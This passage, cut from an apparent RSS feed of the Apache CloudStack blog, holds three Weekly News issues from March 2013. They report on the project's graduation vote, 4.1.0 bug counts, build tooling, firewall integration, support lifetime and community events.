            <content:encoded><![CDATA[<p>Big news this week: Apache CloudStack has passed major milestones towards graduation, major progress on bugs against 4.1.0, discussions about integrating the Palo Alto firewall with CloudStack, and getting Eclipse and Maven to play nice for developers. Some interesting posts from members of the Apache CloudStack community as well.</p><p>Want to keep reading the CloudStack Weekly News? See the next section for information on how to contribute.</p><h3><a name="ApacheCloudStackWeeklyNews-18March2013-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b></p><h3><a name="ApacheCloudStackWeeklyNews-18March2013-MajorDiscussions"></a>Major Discussions</h3><h5><a name="ApacheCloudStackWeeklyNews-18March2013-CloudStackGettingClosertoGraduation"></a>CloudStack Getting Closer to Graduation</h5><p>Chip Childers notified the project that <a href="http://markmail.org/thread/zhymhs35ic3rruq5" target="_blank" rel="nofollow" class="external-link">the graduation resolution has passed the IPMC vote</a>. With the votes passed, it's now up to the Apache Software Foundation board to discuss. The next board meeting is on March 20th, though it's unclear whether the IPMC vote was finalized in time for the matter to be discussed during this meeting.</p><h5><a name="ApacheCloudStackWeeklyNews-18March2013-EclipseandMavenWorkingTogether"></a>Eclipse and Maven Working Together</h5><p>Alex Huang wrote last week that <a href="http://markmail.org/message/f265rx7r5qm7z6yz" target="_blank" rel="nofollow" class="external-link">he's made some changes</a> to "help developers with better productivity." To put it succinctly, Alex found that there are better ways to build CloudStack using Eclipse and Maven together, and has written a script to help developers speed up their tools. The procedure and new <em>impatient</em> profile should be documented on the wiki soon.</p><h5><a name="ApacheCloudStackWeeklyNews-18March2013-PaloAlto"></a>Palo Alto</h5><p>Will Stevens <a href="http://markmail.org/message/n5276i4hfh7ek57o" target="_blank" rel="nofollow" class="external-link">brought up a topic about integrating the Palo Alto firewall</a> with CloudStack:</p><blockquote><p>The problem I am running into right now is that Palo Alto does not allow any two interfaced to have the same IP (even if they are in different zones, vrs, vsys and vlans). This is an issue because CloudStack supports each account having their own private IP ranges and two accounts can use the same private IP range. For example, by default if you create a network with source nat and you do not specify any gateway or subnet data, it will give you 10.1.1.0/24 as an IP range. This means it will be very likely that two CloudStack accounts will be using the same private IP space.</p></blockquote><p>Alex <a href="http://markmail.org/message/iyydkgxzvbzmo4jw" target="_blank" rel="nofollow" class="external-link">replied</a>, "There is a mode in CloudStack that only allows non-intersecting cidrs for guest networks. It was introduced specifically because many physical network devices do not expect cidrs to intersect even when it's on different VLANs."</p><p>Stuck on a technical issue? Ask on the -dev list, and it's quite likely you'll not only get an answer – odds are someone's had the problem you've got before, and thought about a solution.</p><h3><a name="ApacheCloudStackWeeklyNews-18March2013-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><h5><a name="ApacheCloudStackWeeklyNews-18March2013-SecurityintheCloudandtheCCSK"></a>Security in the Cloud and the CCSK</h5><p>Sebastien Goasguen <a href="http://buildacloud.org/blog/237-security-in-the-cloud-and-the-ccsk.html" target="_blank" rel="nofollow" class="external-link">wrote about security in the cloud</a> this week, and the Certificate of Cloud Security Knowledge (CCSK).</p><h5><a name="ApacheCloudStackWeeklyNews-18March2013-SELinuxKVMCloudStack"></a>SELinux + KVM + CloudStack</h5><p>David Nalley <a href="http://buildacloud.org/blog/238-selinux-kvm-cloudstack.html" target="_blank" rel="nofollow" class="external-link">blogged about getting an SELinux policy to work for CloudStack</a> because, "I really dislike advocating for people to turn off a security mechanism to get software to work. Additionally I really want some of the advantages of sVirt."</p><h5><a name="ApacheCloudStackWeeklyNews-18March2013-HOWTO%3AUsingCloudStackResourceswithPuppet%28Part1%29"></a>HOWTO: Using CloudStack Resources with Puppet (Part 1)</h5><p>David also started writing about <a href="http://buildacloud.org/blog/239-howto-using-cloudstack-resources-with-puppet%2C-part-1.html" target="_blank" rel="nofollow" class="external-link">using CloudStack resources with Puppet</a>. David says he's written and talked about CloudStack resources previously, but "while cheerleading and telling people it is awesome should be enough - it really doesn't tell you how to actually use it."</p><h5><a name="ApacheCloudStackWeeklyNews-18March2013-LDAPAuthenticationinCloudStack%28v4.0.1%29"></a>LDAP Authentication in CloudStack (v4.0.1)</h5><p>Kirt Jantzer wrote about <a href="http://kirkjantzer.blogspot.com/2013/03/ldap-authentication-in-cloudstack-v401.html" target="_blank" rel="nofollow" class="external-link">LDAP Authentication in CloudStack (v4.0.1)</a> this week.</p><h5><a name="ApacheCloudStackWeeklyNews-18March2013-PCExtremeCaseStudy"></a>PCExtreme Case Study</h5><p>Posted to the wiki this week, a case study about PCExtreme's use of Apache CloudStack: "<a href="https://cwiki.apache.org/confluence/download/attachments/30757703/PCExtreme+Case+Study+Final+031813.pdf" target="_blank" rel="nofollow" class="external-link">PCExtreme Achieves Business Agility with Apache CloudStack</a>"</p><h3><a name="ApacheCloudStackWeeklyNews-18March2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>Storage in Apache CloudStack</b> being held by the <a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/108916562/" target="_blank" rel="nofollow" class="external-link">CloudStack SF Bay Area Users Group</a> on March 28, 2013. Location TBD, sign up on the Meetup.com Website.</li><li><b>Apache Hackathon at PES Institute of Technology</b> being <a href="http://www.meetup.com/CloudStack-Bangalore-Group/events/104410272/" target="_blank" rel="nofollow" class="external-link">held by the Bangalore Chapter of CloudStack India</a> on March 30, 2013 at 10:00 a.m. Sign up on the Meetup.com Website.</li><li>Sebastien Goasguen will be at the <a href="http://www.eventbrite.com/org/613789661" target="_blank" rel="nofollow" class="external-link">Scotland JAVA User Group</a> on March 27th, 2013 in Edinburgh, introducing CloudStack.</li><li>Sebastien Goasguen will give a lightning talk at the <a href="http://cloudcamp.org/scotland/369" target="_blank" rel="nofollow" class="external-link">CloudCamp Scotland</a> on March 28th, 2013 in Edinburgh, talking about SDN in CloudStack.</li><li>UK/European CloudStack user group <a href="http://www.eventbrite.com/event/5816841329/eorg" target="_blank" rel="nofollow" class="external-link">meet-up</a> will be April 11th in London.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-18March2013-Jira"></a>Jira</h3><p>Things are looking up this week, bug-wise. Bugs have dropped in all categories, and all of the blocker and critical bugs have been assigned. </p><ul><li>Last week: 11 blocker bugs. This week: 7 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a></li><li>Last week: 29 critical bugs. This week: 10 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 159 major bugs. This week: 148 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 33 minor bugs. This week: 28 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-18March2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>No new committers or PPMC members were announced last week.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 11 March 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_111</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_111</guid>
            <pubDate>Tue, 12 Mar 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[This week the project started the vote to determine whether the Apache CloudStack project feels ready to self-govern, discussions were held about implementing BVT (and how), and the PPMC announced its consensus for the proposed PMC chair. In addition, several technical discussions for features and processes within the project, and discussion on the -marketing list about the design of the Web site.]]></description>
            <content:encoded><![CDATA[<p><img loading="lazy" src="/img/imported/3b5a1e4e-90cb-469e-a58a-512bdcc28007?t=true" alt="acwn-icon.png" align="left" class="img_ev3q">This week the project started the vote to determine whether the Apache CloudStack project feels ready to self-govern, discussions were held about implementing BVT (and how), and the PPMC announced its consensus for the proposed PMC chair. In addition, several technical discussions for features and processes within the project, and discussion on the -marketing list about the design of the Web site.</p><p>Want to keep reading the CloudStack Weekly News? See the next section for information on how to contribute.</p><h3><a name="ApacheCloudStackWeeklyNews-11March2013-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b></p><h3><a name="ApacheCloudStackWeeklyNews-11March2013-MajorDiscussions"></a>Major Discussions</h3><p>Some of the major discussions and issues that have taken place on cloudstack-dev, cloudstack-marketing and cloudstack-users in the past week. This is by no means exhaustive, if you need to be up-to-date on all development issues in the project, you'll definitely want to be subscribed to the mailing lists!</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-VOTE%3AGraduateApacheCloudStackfromtheIncubator"></a>VOTE: Graduate Apache CloudStack from the Incubator</h5><p>Chip Childers <a href="http://markmail.org/message/3qh2dvzvdzk5vxka" target="_blank" rel="nofollow" class="external-link">has started the vote</a> on whether to graduate Apache CloudStack from the Incubator. The vote lasts 72 hours (vote started Monday morning). If successful, the IPMC will need to vote on the resolution and recommend graduation to the Apache Board of Directors. </p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-PPMCWillRecommendChipChildersasChair"></a>PPMC Will Recommend Chip Childers as Chair</h5><p>In conjunction with the graduation discussion, the CloudStack PPMC has <a href="http://markmail.org/message/hv72l22kk4dms7aj" target="_blank" rel="nofollow" class="external-link">reached consensus</a> on recommending Chip Childers as chair, once the project graduates. See <a href="http://www.apache.org/foundation/how-it-works.html#roles" target="_blank" rel="nofollow" class="external-link">How the ASF Works: Roles</a> for more on roles within Top Level Projects (TLPs).</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-MeetCatoFong"></a>Meet Cato_Fong</h5><p>If you haven't already, Prasanna Santhanam invites everyone to <a href="http://markmail.org/message/daujidydbynx2key" target="_blank" rel="nofollow" class="external-link">meet Cato_Fong</a>, a handy IRC bot that keeps an eye on the Jenkins builds for the project. Says Prasanna, "if the build is broken and the executor on builds.a.o has not yet queued the job be prepared to be ambushed by Cato_Fong!"</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-SyslogEnhancements"></a>Syslog Enhancements</h5><p>Anshul Gangwar has <a href="http://markmail.org/message/iojeclbpkssbbprk" target="_blank" rel="nofollow" class="external-link">revived</a> a discussion from December about using log4j to send syslog messages. See the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/FS+for+Syslog+Enhancements" target="_blank" rel="nofollow" class="external-link">FS</a> on the wiki, and join in the discussion on the -dev mailing list if you have anything to add. </p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-GettingRidofKVMPatchdiskRaisesDiscussionofNewSystemVMProgrammingModel"></a>Getting Rid of KVM Patchdisk Raises Discussion of New System VM Programming Model</h5><p>Marcus Sorensen <a href="http://markmail.org/message/anaolzxlcpgrlnh5" target="_blank" rel="nofollow" class="external-link">started a discussion last week</a> about getting rid of the patchdisk that KVM creates on primary storage when bringing up a VM. Marcus says, "This patch disk has been bugging me for awhile, as it creates a volume<br>that isn't really tracked anywhere or known about in cloudstack's database. Up until recently these would just litter the KVM primary<br>storages, but there's been some triage done to attempt to clean them up when the system vms go away. It's not perfect. It also can be<br>inefficient for certain primary storage types, for example if you end up creating a bunch of 10MB luns on a SAN for these."</p><p>Later in the discussion, Edison Su responded to Marcus' approach to handling the issue. <a href="http://markmail.org/message/2ee2z7vfo6hoq45p" target="_blank" rel="nofollow" class="external-link">Edison says</a> "we put a lot of logic into init scripts inside system VM, which has unnecessarily complicated the system VM programming." Ultimately, Edison suggest that we may need "to start working on a new system VM programming model now? Better to just put a Python daemon inside system VM, and provide restful API through link local IP address(or private IP if it's vmware), then mgt server or hypervisor agent code can just send commands to the Python daemon through HTTP, instead of SSH."</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-BuildVerificationTest%28BVT%29forCloudStackCheckins"></a>Build Verification Test (BVT) for CloudStack Checkins</h5><p>Alex Huang <a href="http://markmail.org/message/kvtkfjaswopqkd7m" target="_blank" rel="nofollow" class="external-link">proposed</a> building a BVT system to "ensure that checkins do not break the <a class="createlink" href="/confluence/pages/createpage.action?spaceKey=CLOUDSTACK&amp;title=master&amp;linkCreation=true&amp;fromPageId=30756122">master</a> branch." </p><p>After a fair amount of discussion, Chip Childers <a href="http://markmail.org/message/2tavrqatlyyrwmp6" target="_blank" rel="nofollow" class="external-link">responded, saying that the first step to getting Gerrit</a> is "for us to agree to using it and to be able to clearly articulate <b>why</b>.  Without being able to explain our issue, we'll be questioned about jumping to a tool-based solution by the infra team."</p><p>The entire discussion is worth a read for anyone involved in day-to-day CloudStack development. (Indeed, one hopes that <b>all</b> developers have paid close attention to this thread, not only the handful of active voices who have jumped into the discussion.)</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-ProposaltoRefactorApplianceBuildingCodeUndertools%2Fappliance"></a>Proposal to Refactor Appliance Building Code Under tools/appliance</h5><p>Rohit Yadav has proposed to "<a href="http://markmail.org/message/lmvbmqvuiriyfgij" target="_blank" rel="nofollow" class="external-link">fix/refactor devcloud appliance building scripts</a> from tools/devcloud/sr to tools/appliance" and "to create a new devcloud that has all the build tools, IDE and possibly a lightweight desktop environment or tiling window manager."</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-IncrementalBuild"></a>Incremental Build</h5><p>Edison points out that <a href="http://markmail.org/message/a2b4tfrts3yyhary" target="_blank" rel="nofollow" class="external-link">Maven 3 doesn't support incremental builds</a>, "so it takes a long time (4-7 minutes) to make a build" even with small changes in the source code. Animesh Chaturvedi <a href="http://markmail.org/message/plpuxmxocgoupqak" target="_blank" rel="nofollow" class="external-link">points out a tool that might help</a> add incremental build support to Maven, but there was no enthusiasm for changing tools away from Maven after the effort that went into switching from Ant.</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-Marketing%3AWebsiteDiscussions"></a>Marketing: Website Discussions</h5><p>There's been a fair amount of discussion this week about improving the Apache CloudStack Web site. Sebastien Goasguen <a href="http://markmail.org/message/rzaqvo247sskdf5t" target="_blank" rel="nofollow" class="external-link">started the discussion</a> on March 5th, pointing to a site that he found "simple, yet modern." The discussion has moved on to work on the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Website+Resources+and+Proposals" target="_blank" rel="nofollow" class="external-link">sitemap</a> and <a href="http://markmail.org/message/dnbvgwyykyyub32w" target="_blank" rel="nofollow" class="external-link">flow of the site</a>. </p><p>No firm proposals or decisions have come out of the discussion as of yet. </p><p>There's also discussion about the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Website+Resources+and+Proposals" target="_blank" rel="nofollow" class="external-link">elevator pitch and top <em>N</em> features</a> of CloudStack that should be on the landing page.</p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-LDAPSetupAssistance"></a>LDAP Setup Assistance</h5><p>Kirk Jantzer came to the -users list <a href="http://markmail.org/message/jbdioq4kbgay4pjl" target="_blank" rel="nofollow" class="external-link">looking for help in setting up LDAP</a>. Ilya Musayev <a href="http://markmail.org/thread/cbwtk3fub7p7yexm" target="_blank" rel="nofollow" class="external-link">shared an earlier note to -dev</a> about using Microsoft's Active Directory (LDAP) working with CloudStack, and Kirk <a href="http://markmail.org/message/o65puxc4rgu6pe45" target="_blank" rel="nofollow" class="external-link">reported</a> that he was able to get it working by adding users with dummy passwords. </p><h5><a name="ApacheCloudStackWeeklyNews-11March2013-SystemVMTemplates"></a>System VM Templates</h5><p>Following a discussion on -users, Chip noted that 4.1.0-incubating <a href="http://markmail.org/message/douf6kgmfdbmqsyq" target="_blank" rel="nofollow" class="external-link">will use the same system VM templates</a> used by 4.0.0-incubating and CloudStack releases from Citrix prior to its donation to Apache. However, Chip adds, "we're working on an automated system VM build process that should be part of 4.2.0-incubating (allowing us to refresh the image that's used)."</p><h3><a name="ApacheCloudStackWeeklyNews-11March2013-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><ul><li>David Nalley <a href="http://buildacloud.org/blog/235-puppet-and-cloudstack.html" target="_blank" rel="nofollow" class="external-link">wrote about</a> efficient use of CloudStack using Puppet.</li></ul><ul><li>Joe Brockmeier contributed a <a href="http://buildacloud.org/blog/234-apachecon-north-america-wrap-up.html" target="_blank" rel="nofollow" class="external-link">report on ApacheCon North America</a>.</li></ul><ul><li>Sebastien <a href="http://buildacloud.org/blog/233-activeeon-integrates-with-cloudstack.html" target="_blank" rel="nofollow" class="external-link">blogged about</a> Activeeon's integration with CloudStack.</li></ul><ul><li>Sebastien also tweeted that the videos from Build A Cloud Day Ghent are now up. The playlist includes <a href="http://www.youtube.com/playlist?list=PLb899uhkHRoZZefRW5XmCb8QBcRO7o74E" target="_blank" rel="nofollow" class="external-link">several talks focused on CloudStack</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-11March2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>New York City Cloud Computing Group</b>: <a href="http://www.meetup.com/nyccloudcomputing/events/104771232/" target="_blank" rel="nofollow" class="external-link">Deploying Apache CloudStack from API to UI</a> - New York City, Wednesday March 13, 2013.</li></ul><ul><li><b>NYLUG Meetup</b>: <a href="http://www.meetup.com/nylug-meetings/events/82181872/" target="_blank" rel="nofollow" class="external-link"><em>Open Source Private Clouds with CloudStack, Eucalyptus and OpenStack</em></a> - New York City, Thursday March 14, 2013. RSVPs open on February 28th at 6:15 p.m. Eastern.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-11March2013-Jira"></a>Jira </h3><p>The number of issues for 4.1.0 has crept back up in the last week, likely because QA had been blocked from testing by some bugs previously - with those out of the way, QA is able to find more issues in the release. </p><p>Note that some of the issues are also less dire than they seem: <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1584" target="_blank" rel="nofollow" class="external-link">CLOUDSTACK-1584</a> is a blocker for release, but it's only to ensure that an important task (adding links to the documentation for downloads) is completed before the release. </p><ul><li>Last week: 4 blocker bugs. This week: 11 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a></li><li>Last week: 18 critical bugs. This week: 29 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 191 major bugs. This week: 159 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 33 minor bugs. This week: 33 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-11March2013-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><p>No new committers or PPMC members were announced last week.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 4 March 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_41</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_41</guid>
            <pubDate>Tue, 05 Mar 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[This week, a vote on updating the project bylaws, fixing the "Tomcat situation" after 4.1, and discussions around the support lifecycle. Some respectable progress in knocking out major and blocker bugs for 4.1.0 as well. The project also welcomes two new PPMC members and three new committers.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/3b5a1e4e-90cb-469e-a58a-512bdcc28007"><img loading="lazy" src="/img/imported/3b5a1e4e-90cb-469e-a58a-512bdcc28007?t=true" alt="acwn-icon.png" align="left" class="img_ev3q"></a>This week, a vote on updating the project bylaws, fixing the "Tomcat situation" after 4.1, and discussions around the support lifecycle. Some respectable progress in knocking out major and blocker bugs for 4.1.0 as well. The project also welcomes two new PPMC members and three new committers.</p><h3><a name="ApacheCloudStackWeeklyNews-4March2013-MajorDiscussions"></a>Major Discussions</h3><p>Some of the major discussions and issues that have taken place on cloudstack-dev and cloudstack-users in the past week. This is by no means exhaustive, if you need to be up-to-date on all development issues in the project, you'll definitely want to be subscribed to the mailing lists!</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-SummaryofWhyWhereandHowDevelopmentHappensMatters"></a>Summary of Why Where and How Development Happens Matters</h5><p>Chip Childers kicked off a thread about <a href="http://markmail.org/message/ydbkugl5sqpnz6m5" target="_blank" rel="nofollow" class="external-link">why it matters where and how development happens</a>, based on a discussion that had taken place on cloudstack-private:</p><blockquote><p>It's largely a re-hash of things that have already been discussed, but we wanted to get this summary moved into the dev list so that the points are available for reference. We should probably distill this into a wiki page somewhere, but that's not done quite yet (volunteer?).  Keep in mind<br>that I've tried to pull the important parts of the conversation into this email...  it was a fairly long thread of discussion and debate.<br>I'd suggest reading it all the way to the end to form your own understanding of why we have to be careful about how we work as a community.</p><p>The TL;DR version:</p><p>The issue that we ran into with several features being developed "outside the community" for 4.1 was a major deal, and it had several<br>implications.  First, doing that effectively hurts our community.  The other issue is related to the legal right of the project to accept the<br>code developed elsewhere.</p></blockquote><p>Rather than summarizing it here, I'd recommend that readers spend the time to read Chip's initial email and the replies in the thread.</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-UsingDIYSystemVMs"></a>Using DIY System VMs</h5><p>Rohit Yadav <a href="http://markmail.org/message/josnaa7tgvnmruva" target="_blank" rel="nofollow" class="external-link">shared "that the do-it-yourself systemvm appliance feature works for me, for Xen,"</a>:</p><blockquote><p>There is one catch though, VirtualBox exports VHD appliance which is said to be compliant with HyperV. I thought we may need to do something for Xen separately, so I followed and <a href="http://rohityadav.in/logs/building-systemvms/" target="_blank" rel="nofollow" class="external-link">found a way</a>. The "way" is to export a raw disk image and convert it to a VHD <a class="createlink" href="/confluence/pages/createpage.action?spaceKey=CLOUDSTACK&amp;title=1&amp;linkCreation=true&amp;fromPageId=30755264">1</a> but the problem is the VHD created from that "way" fails when vhd-util tries to scan for any dependent VHDs (parents etc.), I don't know what's the reason.</p></blockquote><p>Read the rest of the thread if you have an interest in creating custom system VMs for CloudStack.</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-FixingtheTomcatSituation%2CPost4.1"></a>Fixing the Tomcat Situation, Post 4.1</h5><p>Noa Resare has <a href="http://markmail.org/message/l63bhfmzbdmh37oa" target="_blank" rel="nofollow" class="external-link">admitted being intensely frustrate</a> with "the current tomcat situation" when working on packaging CloudStack. The current setup, says Noa, has many problems. In response, Noa has started a proof-of-concept "of a replacement for this whole mess yesterday, a few tens of lines of code setting up an embedded jetty web container. A few lines of code to parse a config file, set up logging and spawn an embedded servlet container."</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-ChangingProjectBylawstoModifyPMCChairVotingProcessandTerm"></a>Changing Project Bylaws to Modify PMC Chair Voting Process and Term</h5><p>Chip kicked off a VOTE thread last week <a href="http://markmail.org/message/w6fn62vqsphyqd6q" target="_blank" rel="nofollow" class="external-link">to modify the project bylaws slightly</a>:</p><blockquote><p>As <a href="http://markmail.org/message/ifwwce657u36yuwz" target="_blank" rel="nofollow" class="external-link">previously discussed</a>, we'd like to make a <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Apache+CloudStack+Project+Bylaws" target="_blank" rel="nofollow" class="external-link">change to our bylaws</a> to modify the method of selecting a PMC chair.  We also want to add a term for the chair.</p></blockquote><p>The <a href="http://markmail.org/message/sgqllgaogduwybhr" target="_blank" rel="nofollow" class="external-link">text was clarified slightly</a> during the vote. The vote remains open until March 5.</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-SupportLifetime"></a>Support Lifetime</h5><p>With the 4.1 release getting closer, David Nalley <a href="http://markmail.org/thread/a327j3vqw6pklhho" target="_blank" rel="nofollow" class="external-link">raised the topic of the support lifetime for releases</a>. Chip <a href="http://markmail.org/message/xvvudgauegit3j4t" target="_blank" rel="nofollow" class="external-link">proposed a model</a> that would consist of only bug fix releases for:</p><blockquote><ul class="alternate" type="square"><li>The latest feature release of our active major version number (i.e.: 4.x)</li><li>The latest feature release of our last major version number (doesn't exist today, but will be 4.x when / if we bump to 5.0)</li></ul></blockquote><p>Joe Brockmeier replied with a +1, saying that with the current level of participation in the bug-fix releases "this is the most realistic approach that's good for the community."</p><p>David asked whether an end of support means an end to bug fixes and security fixes at the same time. "Wearing your enterprise software consumer hat - does a supportlifetime of approximately 12 months make sense?" Instead, David proposed "we should add a month (so that EOL is one month after 4.n+2 releases, with the understanding that 4.n is likely to only receive security fixes if any during that extra one month window.)"</p><p>The discussion continues, so developers and users that have a vested interest in the support lifetime for ACS releases would do well to follow and respond to the discussion.</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-APIThrottling"></a>API Throttling</h5><p>Parth Jagirdar has <a href="http://markmail.org/thread/nj75xlemzxcy5qr2" target="_blank" rel="nofollow" class="external-link">started a discuss thread</a> about API throttling. "API throttling number can be set to anything at this point. Suggestions here is to have this number set to a value that is 'greater than' number of API that can be fired by any potential action on UI." (Note, Parth then sent out a follow-up email to correct the initial subject line from [DISCUSS} to <a class="createlink" href="/confluence/pages/createpage.action?spaceKey=CLOUDSTACK&amp;title=DISCUSS&amp;linkCreation=true&amp;fromPageId=30755264">DISCUSS</a>, but all relevant discussion has happened in the original thread. It's probably not necessary to send a follow-up in those situations and may fragment the conversation.)</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-BranchStabilityStatus"></a>Branch Stability Status</h5><p>Sudha Ponnaganti posted a report to the -dev mailing list about <a href="http://markmail.org/message/tpxixcsatkduodq4" target="_blank" rel="nofollow" class="external-link">branch stability for QA testing</a>:</p><blockquote><p>4.1 Branch:<br>*Xen and VMWare are blocked with the following two issues. KVM is working fine (agent issue-1469 has been fixed by Hugo).<br>CLOUDSTACK-1252<br>Failed to download default template in VMware<br>CLOUDSTACK-1470<br>Xen - unhandled exception executing api command: deployVirtualMachine</p><p>Master:<br>There are no blockers now on Master / 4.2. Below are the only blockers and you<br>can continue to use older templates to make progress on master till new one gets<br>hardened.<br>CLOUDSTACK-1462<br>Used Master Branch System VM Template: Volume of System VM Failed to Create on<br>the XenServer due to IOError</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-4March2013-SummaryofIRCMeetingfor27February2013"></a>Summary of IRC Meeting for 27 February 2013</h5><p>The ASFBot <a href="http://markmail.org/message/7nsbfzhtbs3krbb4" target="_blank" rel="nofollow" class="external-link">shot a summary of the weekly IRC meeting</a> to the -dev mailing list. If you missed it or need a reminder of what happened, check it out.</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-ReportfromtheDocSprintonFriday"></a>Report from the Doc Sprint on Friday</h5><p>Joe sent out a <a href="http://markmail.org/message/sy3bkyq7mgs2wqaq" target="_blank" rel="nofollow" class="external-link">short report</a> about the doc sprint that took place on Friday, March 1st. Another is planned for Friday, March 8th.</p><h3><a name="ApacheCloudStackWeeklyNews-4March2013-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><h5><a name="ApacheCloudStackWeeklyNews-4March2013-ProvisionrAutomatedDeploymentofMassiveInfraintheClouds"></a>Provisionr - Automated Deployment of Massive Infra in the Clouds</h5><p>David <a href="http://buildacloud.org/blog/229-provisionr-automated-deployment-of-massive-infra-in-the-clouds.html" target="_blank" rel="nofollow" class="external-link">reported on a talk at ApacheCon North America</a> about Andrei Savu's demo of "software that Axemblr had been working on around deploying pools of interrelated virtual machines called <a href="https://github.com/axemblr/axemblr-provisionr" target="_blank" rel="nofollow" class="external-link">Provisionr</a>."</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-ApacheConNorthAmericaReport%3ATroubleshootingCloudStack"></a>ApacheCon North America Report: Troubleshooting CloudStack</h5><p>Joe Brockmeier <a href="http://buildacloud.org/blog/230-apachecon-north-america-report-troubleshooting-cloudstack.html" target="_blank" rel="nofollow" class="external-link">wrote a report</a> on two talks at ApacheCon North America by Kirk Kosinski on troubleshooting CloudStack. The talks covered common networking issues and how to use log files to troubleshoot CloudStack.</p><h5><a name="ApacheCloudStackWeeklyNews-4March2013-CloudTalksfromApacheConNorthAmerica"></a>Cloud Talks from ApacheCon North America</h5><p>Mark Hinkle <a href="http://buildacloud.org/blog/232-cloud-talks-from-apachecon-na-2013.html" target="_blank" rel="nofollow" class="external-link">has put up a post about Cloud talks at ApacheCon North America</a> with links to presentations.</p><h3><a name="ApacheCloudStackWeeklyNews-4March2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>CloudStack India, Bangalore Chapter</b>: <a href="http://www.meetup.com/CloudStack-Bangalore-Group/events/103142162/" target="_blank" rel="nofollow" class="external-link">March Meetup - Cloud Storage &amp; Monitoring</a> - Koramangala, Bangalore, Thursday March 7, 2013.</li></ul><ul><li><b>Doc Sprint (IRC)</b>: The doc team is running another sprint on Friday, March 8th from 16:00 to 23:00 UTC (that's 08:00 to 15:00 Pacific time, 11:00 to 18:00 Eastern in the 